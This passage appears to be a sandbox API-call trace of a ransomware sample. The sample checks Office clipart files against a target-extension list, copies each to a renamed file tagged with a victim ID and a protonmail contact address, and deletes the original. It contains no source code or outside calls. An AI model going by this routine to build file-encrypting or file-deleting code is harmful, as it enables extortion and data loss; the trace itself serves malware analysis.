	[0069.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.790] lstrlenW (lpString=".dbf") returned 4
	[0069.790] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.790] lstrlenW (lpString=".1cd") returned 4
	[0069.790] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.790] lstrlenW (lpString=".jpg") returned 4
	[0069.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.791] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.791] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0069.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.792] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5253) returned 1
	[0069.792] CloseHandle (hObject=0x380) returned 1
	[0069.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220
	[0069.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.793] GetLastError () returned 0x0
	[0069.793] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1485, lpOverlapped=0x0) returned 1
	[0070.282] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0070.284] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.284] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.284] SetEndOfFile (hFile=0x384) returned 1
	[0070.284] CloseHandle (hObject=0x384) returned 1
	[0070.285] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.285] SetEndOfFile (hFile=0x380) returned 1
	[0070.286] CloseHandle (hObject=0x380) returned 1
	[0070.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1
	[0070.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.287] lstrlenW (lpString=".doc") returned 4
	[0070.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.287] lstrlenW (lpString=".docx") returned 5
	[0070.287] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.288] lstrlenW (lpString=".pdf") returned 4
	[0070.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.288] lstrlenW (lpString=".xls") returned 4
	[0070.288] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.288] lstrlenW (lpString=".xlsx") returned 5
	[0070.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.288] lstrlenW (lpString=".ppt") returned 4
	[0070.288] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.288] lstrlenW (lpString=".zip") returned 4
	[0070.288] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.288] lstrlenW (lpString=".rar") returned 4
	[0070.288] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.288] lstrlenW (lpString=".bz2") returned 4
	[0070.288] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.288] lstrlenW (lpString=".7z") returned 3
	[0070.288] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.288] lstrlenW (lpString=".dbf") returned 4
	[0070.288] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.288] lstrlenW (lpString=".1cd") returned 4
	[0070.288] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.288] lstrlenW (lpString=".jpg") returned 4
	[0070.288] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.289] lstrlenW (lpString=".doc") returned 4
	[0070.289] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.289] lstrlenW (lpString=".docx") returned 5
	[0070.289] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.289] lstrlenW (lpString=".pdf") returned 4
	[0070.289] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString=".xls") returned 4
	[0070.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString=".xlsx") returned 5
	[0070.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.289] lstrlenW (lpString=".ppt") returned 4
	[0070.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.289] lstrlenW (lpString=".zip") returned 4
	[0070.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString=".rar") returned 4
	[0070.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.289] lstrlenW (lpString=".bz2") returned 4
	[0070.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.289] lstrlenW (lpString=".7z") returned 3
	[0070.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.289] lstrlenW (lpString=".dbf") returned 4
	[0070.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.289] lstrlenW (lpString=".1cd") returned 4
	[0070.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0070.290] lstrlenW (lpString=".jpg") returned 4
	[0070.290] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.290] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.290] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0070.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.291] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7583) returned 1
	[0070.291] CloseHandle (hObject=0x380) returned 1
	[0070.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220
	[0070.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.291] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.291] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0070.292] GetLastError () returned 0x0
	[0070.292] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1d9f, lpOverlapped=0x0) returned 1
	[0070.299] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1da0, lpOverlapped=0x0) returned 1
	[0070.301] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.301] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.301] SetEndOfFile (hFile=0x384) returned 1
	[0070.301] CloseHandle (hObject=0x384) returned 1
	[0070.304] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.304] SetEndOfFile (hFile=0x380) returned 1
	[0070.305] CloseHandle (hObject=0x380) returned 1
	[0070.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1
	[0070.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.306] lstrlenW (lpString=".doc") returned 4
	[0070.306] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.306] lstrlenW (lpString=".docx") returned 5
	[0070.306] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.306] lstrlenW (lpString=".pdf") returned 4
	[0070.306] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.306] lstrlenW (lpString=".xls") returned 4
	[0070.306] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.306] lstrlenW (lpString=".xlsx") returned 5
	[0070.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.306] lstrlenW (lpString=".ppt") returned 4
	[0070.306] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.306] lstrlenW (lpString=".zip") returned 4
	[0070.306] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.306] lstrlenW (lpString=".rar") returned 4
	[0070.306] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.306] lstrlenW (lpString=".bz2") returned 4
	[0070.306] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.306] lstrlenW (lpString=".7z") returned 3
	[0070.307] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString=".dbf") returned 4
	[0070.307] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString=".1cd") returned 4
	[0070.307] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString=".jpg") returned 4
	[0070.307] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString=".doc") returned 4
	[0070.307] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.307] lstrlenW (lpString=".docx") returned 5
	[0070.307] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.307] lstrlenW (lpString=".pdf") returned 4
	[0070.307] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.307] lstrlenW (lpString=".xls") returned 4
	[0070.307] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.307] lstrlenW (lpString=".xlsx") returned 5
	[0070.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.307] lstrlenW (lpString=".ppt") returned 4
	[0070.307] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.307] lstrlenW (lpString=".zip") returned 4
	[0070.308] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.308] lstrlenW (lpString=".rar") returned 4
	[0070.308] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.308] lstrlenW (lpString=".bz2") returned 4
	[0070.308] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.308] lstrlenW (lpString=".7z") returned 3
	[0070.308] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.308] lstrlenW (lpString=".dbf") returned 4
	[0070.308] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.308] lstrlenW (lpString=".1cd") returned 4
	[0070.308] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0070.308] lstrlenW (lpString=".jpg") returned 4
	[0070.308] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.308] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.308] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0070.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.309] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6984) returned 1
	[0070.309] CloseHandle (hObject=0x380) returned 1
	[0070.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220
	[0070.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0070.310] GetLastError () returned 0x0
	[0070.310] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1b48, lpOverlapped=0x0) returned 1
	[0070.312] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1b50, lpOverlapped=0x0) returned 1
	[0070.313] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.313] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.313] SetEndOfFile (hFile=0x384) returned 1
	[0070.313] CloseHandle (hObject=0x384) returned 1
	[0070.314] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.314] SetEndOfFile (hFile=0x380) returned 1
	[0070.319] CloseHandle (hObject=0x380) returned 1
	[0070.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1
	[0070.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.320] lstrlenW (lpString=".doc") returned 4
	[0070.320] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.320] lstrlenW (lpString=".docx") returned 5
	[0070.320] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.320] lstrlenW (lpString=".pdf") returned 4
	[0070.320] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.320] lstrlenW (lpString=".xls") returned 4
	[0070.320] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.320] lstrlenW (lpString=".xlsx") returned 5
	[0070.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.321] lstrlenW (lpString=".ppt") returned 4
	[0070.321] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString=".zip") returned 4
	[0070.321] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.321] lstrlenW (lpString=".rar") returned 4
	[0070.321] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.321] lstrlenW (lpString=".bz2") returned 4
	[0070.321] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.321] lstrlenW (lpString=".7z") returned 3
	[0070.321] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString=".dbf") returned 4
	[0070.321] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString=".1cd") returned 4
	[0070.321] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString=".jpg") returned 4
	[0070.321] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.321] lstrlenW (lpString=".doc") returned 4
	[0070.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.321] lstrlenW (lpString=".docx") returned 5
	[0070.322] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.322] lstrlenW (lpString=".pdf") returned 4
	[0070.322] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.322] lstrlenW (lpString=".xls") returned 4
	[0070.322] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.322] lstrlenW (lpString=".xlsx") returned 5
	[0070.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.322] lstrlenW (lpString=".ppt") returned 4
	[0070.322] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.322] lstrlenW (lpString=".zip") returned 4
	[0070.322] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.322] lstrlenW (lpString=".rar") returned 4
	[0070.322] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.322] lstrlenW (lpString=".bz2") returned 4
	[0070.322] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.322] lstrlenW (lpString=".7z") returned 3
	[0070.322] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
